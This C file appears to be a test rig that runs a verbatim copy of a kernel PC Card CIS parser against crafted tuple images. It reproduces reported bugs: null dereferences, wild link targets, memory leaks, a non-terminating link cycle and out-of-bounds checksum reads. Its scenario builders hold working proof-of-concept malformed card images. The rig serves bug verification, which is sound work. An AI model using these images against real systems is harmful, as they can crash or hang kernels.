/*
 * rig_main.c -- driver for the VERBATIM pccard_cis.c verification rig.
 *
 * The production parser is machine-extracted byte-identical from the guest's
 * /usr/src (extract.sh: sed line-ranges, sha256-gated) into:
 *     pccardvar_rig.inc  (structs + read macros, from pccardvar.h)
 *     pccard_cis.h/.     (constant headers, whole-file copies)
 *     pccard_cis_core.inc(pccard_read_cis + pccard_scan_cis +
 *                         pccard_parse_cis_tuple + decode_funce)
 * and is driven here through the REAL entry point pccard_read_cis() with
 * crafted CIS tuple streams against guard/canary buffers.
 *
 * Scenarios (attribute memory image; mult=2 unless a chain is common):
 *   nullderef_a     DF-2319 primary:  CFTABLE_ENTRY before any CONFIG
 *   nullderef_b     DF-2319 secondary: CFTABLE_ENTRY after MFC reset (pf=NULL)
 *   wildlink_long   DF-2320 longlink:  LONGLINK_A -> wild 32-bit target
 *   wildlink_mfc    DF-2320 MFC:       one adjacent (4096) + one wild target
 *   mfcleak         DF-5361: CONFIG+CFTABLE+CFTABLE+MFC+END leaks all cfes
 *   livelock        DF-5362 minimal:   LINKTARGET->LONGLINK_A self-cycle
 *   livelock_alarm  DF-5362 wall-clock corroboration (SIGALRM kill)
 *   leakloop        DF-5362 amplifier: cycle allocates +1 cfe per iteration
 *   checksum        DF-5363: CHECKSUM offset=4,length=4091,mult=2 -> OOB reads
 *   checksum_ok     DF-5363 negative:  sane checksum, no OOB
 *   benign          negative control: valid 2-function MFC card, parses clean
 *
 * Build:  sh extract.sh . && cc -O2 -Wall -o rig rig_main.c
 * Run:    ./rig <scenario> | all
 */
#include "rig_shims.h"
#include "pccardvar_rig.inc"		/* VERBATIM structs + read macros */
#include "pccard_cis.h"			/* VERBATIM tuple codes */
#include "pccardreg.h"			/* VERBATIM device-type codes */
#include "pccard_cis_core.inc"		/* VERBATIM production parser */

#include <sys/wait.h>
#include <time.h>

/* ---------------- CIS image construction ---------------- */
static void
img_reset(void)
{
	size_t i;
	for (i = 0; i < RIG_MAPSIZE; i++) {
		rig_attr_img[i] = 0xFF;		/* unwritten attr mem = END */
		rig_com_img[i]  = 0xFF;
	}
	for (i = RIG_MAPSIZE; i < RIG_TOTBUF; i++) {
		rig_attr_img[i] = 0xA5;		/* adjacent-mapping canary */
		rig_com_img[i]  = 0xA5;
	}
}

/* write tuple at tuple-index *t into image (attribute spacing, bus=mult*t) */
static void
pt(unsigned char *img, int *t, int code, const unsigned char *body, int blen)
{
	int i, t2 = *t;
	if (2 * t2 + 4 + 2 * blen >= (int)RIG_MAPSIZE) {
		printf("RIG scenario-build overflow t=%d\n", t2);
		abort();
	}
	img[2 * t2]     = (unsigned char)code;
	img[2 * t2 + 2] = (unsigned char)blen;
	for (i = 0; i < blen; i++)
		img[2 * t2 + 4 + 2 * i] = body[i];
	*t = t2 + 2 + blen;
}

/* ---------------- scenario builders ---------------- */
static struct pccard_softc rig_sc;

static void
build_nullderef_a(void)
{
	int t = 0;
	static const unsigned char cfe[] = { 0x01, 0x00 };	/* num=1 */

	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 2);
}

static void
build_nullderef_b(void)
{
	int t = 0;
	static const unsigned char conf[]   = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe1[]   = { 0x41, 0x00 };/* def|num=1 */
	static const unsigned char mfc[]    = { 0x01, 0x00, 0x20, 0x00, 0x00, 0x00 };
	static const unsigned char cfe2[]   = { 0x02, 0x00 };/* num=2 */
	static const unsigned char cis[]    = { 'C', 'I', 'S' };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* t=0  */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe1, 2);	/* t=5  */
	pt(rig_attr_img, &t, CISTPL_LONGLINK_MFC, mfc, 6);	/* t=9  */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=17 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=19 -> reset */
	/* MFC chain 1 at 0x20: */
	t = 0x20;
	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);	/* t=0x20 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe2, 2);	/* t=0x25 pf==NULL */
}

static void
build_wildlink_long(void)
{
	int t = 0;
	static const unsigned char ll[] = { 0x00, 0x00, 0x80, 0x00 }; /* 0x800000 */

	pt(rig_attr_img, &t, CISTPL_LONGLINK_A, ll, 4);		/* t=0  */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=6  */
}

static void
build_wildlink_mfc(void)
{
	int t = 0;
	static const unsigned char mfc[] = {
		0x02,					/* 2 functions */
		0x00, 0x00, 0x08, 0x00, 0x00,		/* attr,  addr 0x00000800 */
		0x01, 0x00, 0x00, 0x00, 0x04,		/* common,addr 0x04000000 */
	};

	pt(rig_attr_img, &t, CISTPL_LONGLINK_MFC, mfc, 11);	/* t=0  */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=13 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=15 -> reset */
}

static void
build_mfcleak(void)
{
	int t = 0;
	static const unsigned char conf[] = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe1[] = { 0x01, 0x00 };	/* num=1 */
	static const unsigned char cfe2[] = { 0x02, 0x00 };	/* num=2 */
	static const unsigned char mfc[]  = { 0x01, 0x00, 0x20, 0x00, 0x00, 0x00 };
	static const unsigned char cis[]  = { 'C', 'I', 'S' };

	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* t=0  pf alloc */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe1, 2);	/* t=5  cfe1 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe2, 2);	/* t=9  cfe2 */
	pt(rig_attr_img, &t, CISTPL_LONGLINK_MFC, mfc, 6);	/* t=13 gotmfc=1 */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=19 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=21 -> reset */
	t = 0x20;
	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);	/* t=0x20 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=0x25 */
}

static void
cycle_linktarget(int at, int target)
{
	int t = at;
	static const unsigned char cis[] = { 'C', 'I', 'S' };
	unsigned char ll[4] = { (unsigned char)target, (unsigned char)(target >> 8),
				0x00, 0x00 };

	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);
	pt(rig_attr_img, &t, CISTPL_LONGLINK_A, ll, 4);
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);
}

static void
build_livelock(void)
{
	int t = 0;
	unsigned char ll[] = { 0x10, 0x00, 0x00, 0x00 };

	pt(rig_attr_img, &t, CISTPL_LONGLINK_A, ll, 4);		/* t=0 -> 0x10 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=6  */
	cycle_linktarget(0x10, 0x10);				/* self-cycle */
}

static void
build_leakloop(void)
{
	int t = 0;
	unsigned char ll[] = { 0x10, 0x00, 0x00, 0x00 };
	static const unsigned char cis[] = { 'C', 'I', 'S' };
	static const unsigned char conf[] = { 0x00, 0x01, 0x00 };
	static const unsigned char cfe[]  = { 0x02, 0x00 };	/* num=2, def=0 */

	/* NO NO_LINK here: chain0's LONGLINK_A must stay armed so the
	 * link-follow loop keeps jumping back to 0x10 (DF-5362). */
	pt(rig_attr_img, &t, CISTPL_LONGLINK_A, ll, 4);		/* t=0  */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=6  */
	/* cycle chain at 0x10 */
	t = 0x10;
	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);	/* 0x10 */
	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* 0x15 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfe, 2);	/* 0x1A +1 cfe/iter */
	pt(rig_attr_img, &t, CISTPL_LONGLINK_A, ll, 4);		/* 0x1E re-arm */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* 0x24 */
}

static void
build_checksum(void)
{
	int t = 0;
	static const unsigned char ck[] = {
		0x04, 0x00,		/* offset  = 4     (int16) */
		0xFB, 0x0F,		/* length = 4091 */
		0x00			/* cksum */
	};

	pt(rig_attr_img, &t, CISTPL_CHECKSUM, ck, 5);		/* t=0 */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=7 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=9 */
}

static void
build_checksum_ok(void)
{
	int t = 0;
	unsigned char ck[5] = { 0, 0, 100, 0, 0 };

	pt(rig_attr_img, &t, CISTPL_CHECKSUM, ck, 5);		/* len=100, in-window */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);
}

static void
build_benign(void)
{
	int t = 0;
	static const unsigned char vers1[] = { 0x05, 0x00, 'D', 'F', 0x00, 0x00 };
	static const unsigned char manfid[] = { 0x01, 0x02, 0x03, 0x04 };
	static const unsigned char fid_serial[] = { 0x02 };
	static const unsigned char fid_net[]    = { 0x06 };
	static const unsigned char conf[] = { 0x00, 0x08, 0x00 };
	static const unsigned char cfed[] = { 0x41, 0x00 };	/* def|num=1 */
	static const unsigned char mfc[] = {
		0x02,
		0x00, 0x30, 0x00, 0x00, 0x00,		/* attr 0x30 */
		0x00, 0x50, 0x00, 0x00, 0x00,		/* attr 0x50 */
	};
	static const unsigned char cis[] = { 'C', 'I', 'S' };

	pt(rig_attr_img, &t, CISTPL_VERS_1, vers1, 6);		/* t=0  */
	pt(rig_attr_img, &t, CISTPL_MANFID, manfid, 4);		/* t=8  */
	pt(rig_attr_img, &t, CISTPL_FUNCID, fid_serial, 1);	/* t=14 pf0 */
	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* t=17 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfed, 2);	/* t=22 cfe */
	pt(rig_attr_img, &t, CISTPL_LONGLINK_MFC, mfc, 11);	/* t=25 */
	pt(rig_attr_img, &t, CISTPL_NO_LINK, NULL, 0);		/* t=36 */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* t=38 reset */

	t = 0x30;						/* function 1 */
	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);	/* 0x30 */
	pt(rig_attr_img, &t, CISTPL_FUNCID, fid_net, 1);	/* 0x35 */
	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* 0x38 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfed, 2);	/* 0x3D */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* 0x41 */

	t = 0x50;						/* function 2 */
	pt(rig_attr_img, &t, CISTPL_LINKTARGET, cis, 3);	/* 0x50 */
	pt(rig_attr_img, &t, CISTPL_FUNCID, fid_serial, 1);	/* 0x55 */
	pt(rig_attr_img, &t, CISTPL_CONFIG, conf, 3);		/* 0x58 */
	pt(rig_attr_img, &t, CISTPL_CFTABLE_ENTRY, cfed, 2);	/* 0x5D */
	pt(rig_attr_img, &t, CISTPL_END, NULL, 0);		/* 0x61 */
}

/* ---------------- crash / cap plumbing ---------------- */
static const char *rig_scen_name = "?";

static void
rig_segv_handler(int sig, siginfo_t *si, void *uc)
{
#if defined(__x86_64__)
	ucontext_t *u = uc;
	unsigned long rip = u->uc_mcontext.mc_rip;
	printf("SCENARIO %s: SIGSEGV si_addr=%p faulting_rip=%#lx\n",
	    rig_scen_name, si->si_addr, rip);
#else
	printf("SCENARIO %s: SIGSEGV si_addr=%p\n", rig_scen_name, si->si_addr);
#endif
	fflush(stdout);
	_exit(91);
}

static void
rig_alarm_handler(int sig)
{
	(void)sig;
	printf("SCENARIO %s: SIGALRM after wall-clock budget; bus_reads=%ld "
	    "(scan_cis still running)\n", rig_scen_name, rig_reads);
	fflush(stdout);
	_exit(99);
}

/* ---------------- ledger reporting ---------------- */
static void
ledger_report(const char *tag)
{
	long a_cfe = 0, a_pf = 0, a_oth = 0, f_cfe = 0, f_pf = 0, f_oth = 0;
	long l_cfe = 0, l_pf = 0, l_oth = 0;
	int i;

	for (i = 0; i < rig_nblocks; i++) {
		int is_cfe = rig_blocks[i].size == rig_sz_cfe;
		int is_pf  = rig_blocks[i].size == rig_sz_pf;
		if (is_cfe) {
			a_cfe++;
			if (rig_blocks[i].live) { l_cfe++; f_cfe--; }
		} else if (is_pf) {
			a_pf++;
			if (rig_blocks[i].live) { l_pf++; f_pf--; }
		} else {
			a_oth++;
			if (rig_blocks[i].live) { l_oth++; f_oth--; }
		}
	}
	f_cfe += a_cfe; f_pf += a_pf; f_oth += a_oth;
	printf("LEDGER %s: sizeof(cfe)=%zu sizeof(pf)=%zu | "
	    "alloc cfe=%ld pf=%ld other=%ld | kfree cfe=%ld pf=%ld other=%ld | "
	    "LIVE cfe=%ld pf=%ld other=%ld\n",
	    tag, rig_sz_cfe, rig_sz_pf, a_cfe, a_pf, a_oth,
	    f_cfe, f_pf, f_oth, l_cfe, l_pf, l_oth);
}

/* correct teardown of whatever the parser left behind (mirrors pccard.c:317-324) */
static void
harness_teardown(void)
{
	struct pccard_function *pf, *pfnext;
	struct pccard_config_entry *cfe;
	long n = 0;

	for (pf = STAILQ_FIRST(&rig_sc.card.pf_head); pf != NULL; pf = pfnext) {
		pfnext = STAILQ_NEXT(pf, pf_list);
		while ((cfe = STAILQ_FIRST(&pf->cfe_head)) != NULL) {
			STAILQ_REMOVE_HEAD(&pf->cfe_head, cfe_list);
			kfree(cfe, M_DEVBUF);
			n++;
		}
		kfree(pf, M_DEVBUF);
	}
	STAILQ_INIT(&rig_sc.card.pf_head);
	printf("TEARDOWN: harness drained %ld cfe + pf chain "
	    "(pccard.c:317-324 semantics)\n", n);
}

/* ---------------- cycle detection over the read-offset ring (DF-5362) ----- */
static void
ring_report(void)
{
	int p, i, found = -1;
	int N = rig_ring_n;

	if (N < 16) {
		printf("RING: only %d reads recorded\n", N);
		return;
	}
	for (p = 1; p <= N / 4; p++) {
		int ok = 1;
		for (i = N - 3 * p; i < N; i++)
			if (rig_ring[i] != rig_ring[i - p]) { ok = 0; break; }
		if (ok) { found = p; break; }
	}
	if (found > 0)
		printf("RING: bus-read offset stream is PERIODIC, period=%d "
		    "reads, >=3 full cycles observed in last %d reads "
		    "(deterministic cycle)\n", found, N);
	else
		printf("RING: no periodicity found in %d reads\n", N);
}

/* ---------------- per-scenario child ---------------- */
static void
run_scenario(const char *name, void (*build)(void), long cap, int alarm_sec)
{
	pid_t pid;
	int st;

	rig_nblocks = 0;			/* fresh ledger per scenario */
	rig_alloc_fail = 0;
	memset(&rig_sc, 0, sizeof(rig_sc));

	pid = fork();
	if (pid < 0) { perror("fork"); exit(2); }
	if (pid == 0) {
		struct sigaction sa;
		char *e;

		rig_scen_name = name;
		img_reset();
		rig_reset_counters();
		build();

		memset(&sa, 0, sizeof(sa));
		sa.sa_sigaction = rig_segv_handler;
		sa.sa_flags = SA_SIGINFO;
		sigaction(SIGSEGV, &sa, NULL);
		signal(SIGALRM, rig_alarm_handler);

		if (alarm_sec > 0)
			alarm((unsigned)alarm_sec);

		rig_cap = cap;
		rig_jmp_ok = 0;
		if (cap >= 0) {
			if (sigsetjmp(rig_jmp, 1) == 0)
				rig_jmp_ok = 1;
			else
				goto capped;
		}

		if (getenv("RIG_CISDEBUG"))
			pccard_cis_debug = 1;

		printf("SCENARIO %s: entering verbatim pccard_read_cis()\n", name);
		fflush(stdout);
		pccard_read_cis(&rig_sc);	/* *** PRODUCTION ENTRY *** */
		printf("SCENARIO %s: returned normally. card->error=%u "
		    "bus_reads=%ld flag_switches=%ld\n",
		    name, rig_sc.card.error, rig_reads, rig_flag_switches);
		if (rig_oob)
			printf("OOB: %ld out-of-mapping bus reads "
			    "(mapping=%d B): first=%lu max=%lu wild(>=%d)=%ld\n",
			    rig_oob, RIG_MAPSIZE, rig_oob_first, rig_oob_max,
			    RIG_TOTBUF, rig_oob_wild);
		else
			printf("OOB: 0 out-of-mapping bus reads\n");
		{
			int nf = 0;
			struct pccard_function *pf;
			STAILQ_FOREACH(pf, &rig_sc.card.pf_head, pf_list)
				nf++;
			printf("CARD: functions=%d cis1_major=%d "
			    "manufacturer=0x%x product=0x%x\n", nf,
			    rig_sc.card.cis1_major, rig_sc.card.manufacturer,
			    rig_sc.card.product);
		}
		ledger_report(name);
		harness_teardown();
		printf("SCENARIO %s: exit 0\n", name);
		fflush(stdout);
		_exit(0);

capped:
		/* DF-5362 path: the production scan_cis did NOT terminate
		 * within the read budget the kernel does not have. */
		printf("SCENARIO %s: READ BUDGET EXHAUSTED (cap=%ld) -- "
		    "pccard_scan_cis has NOT returned; kernel has no such cap\n",
		    name, cap);
		ledger_report(name);
		ring_report();
		printf("SCENARIO %s: exit 90 (non-terminating scan)\n", name);
		fflush(stdout);
		_exit(90);
	}

	waitpid(pid, &st, 0);
	if (WIFSIGNALED(st))
		printf("SCENARIO %s: child killed by signal %d\n", name,
		    WTERMSIG(st));
	else
		printf("SCENARIO %s: child_exit=%d\n", name, WEXITSTATUS(st));
	fflush(stdout);
}

struct scen {
	const char *name;
	void (*build)(void);
	long cap;
	int alarm_sec;
};

static struct scen scens[] = {
	{ "nullderef_a",    build_nullderef_a,    -1,      0 },
	{ "nullderef_b",    build_nullderef_b,    -1,      0 },
	{ "wildlink_long",  build_wildlink_long,  -1,      0 },
	{ "wildlink_mfc",   build_wildlink_mfc,   -1,      0 },
	{ "mfcleak",        build_mfcleak,        -1,      0 },
	{ "livelock",       build_livelock,       200000,  0 },
	{ "livelock_alarm", build_livelock,       -1,      2 },
	{ "leakloop",       build_leakloop,       200000,  0 },
	{ "checksum",       build_checksum,       -1,      0 },
	{ "checksum_ok",    build_checksum_ok,    -1,      0 },
	{ "benign",         build_benign,         -1,      0 },
	{ NULL, NULL, 0, 0 }
};

int
main(int argc, char **argv)
{
	struct scen *s;
	char *e;

	rig_sz_cfe = sizeof(struct pccard_config_entry);
	rig_sz_pf  = sizeof(struct pccard_function);
	printf("RIG: sizeof(struct pccard_config_entry)=%zu "
	    "sizeof(struct pccard_function)=%zu "
	    "offsetof(pf, cfe_head)=%zu\n",
	    rig_sz_cfe, rig_sz_pf,
	    (size_t)__builtin_offsetof(struct pccard_function, cfe_head));

	if (argc == 2 && strcmp(argv[1], "all") == 0) {
		for (s = scens; s->name != NULL; s++)
			run_scenario(s->name, s->build, s->cap, s->alarm_sec);
		return 0;
	}
	if (argc == 2) {
		long cap_override = -999;
		for (s = scens; s->name != NULL; s++) {
			if (strcmp(s->name, argv[1]) == 0) {
				if ((e = getenv("RIG_CAP")) != NULL)
					cap_override = atol(e);
				run_scenario(s->name, s->build,
				    cap_override == -999 ? s->cap : cap_override,
				    s->alarm_sec);
				return 0;
			}
		}
		fprintf(stderr, "unknown scenario %s\n", argv[1]);
		return 2;
	}
	fprintf(stderr, "usage: %s <scenario|all>  [RIG_CAP=n] [RIG_CISDEBUG=1]\n",
	    argv[0]);
	return 2;
}

/* CARD_SET_RES_FLAGS body -- needs the verbatim PCCARD_A_MEM_* enum */
static int
rig_CARD_SET_RES_FLAGS(device_t parent, device_t dev, int type, int rid,
    int flags)
{
	(void)parent; (void)dev; (void)type; (void)rid;
	rig_flag_switches++;
	if (flags == PCCARD_A_MEM_COM && rig_space == 0) {
		rig_space = 1;
		rig_res.handle = rig_com_img;
	} else if (flags == PCCARD_A_MEM_ATTR && rig_space == 1) {
		rig_space = 0;
		rig_res.handle = rig_attr_img;
	}
	return 0;
}
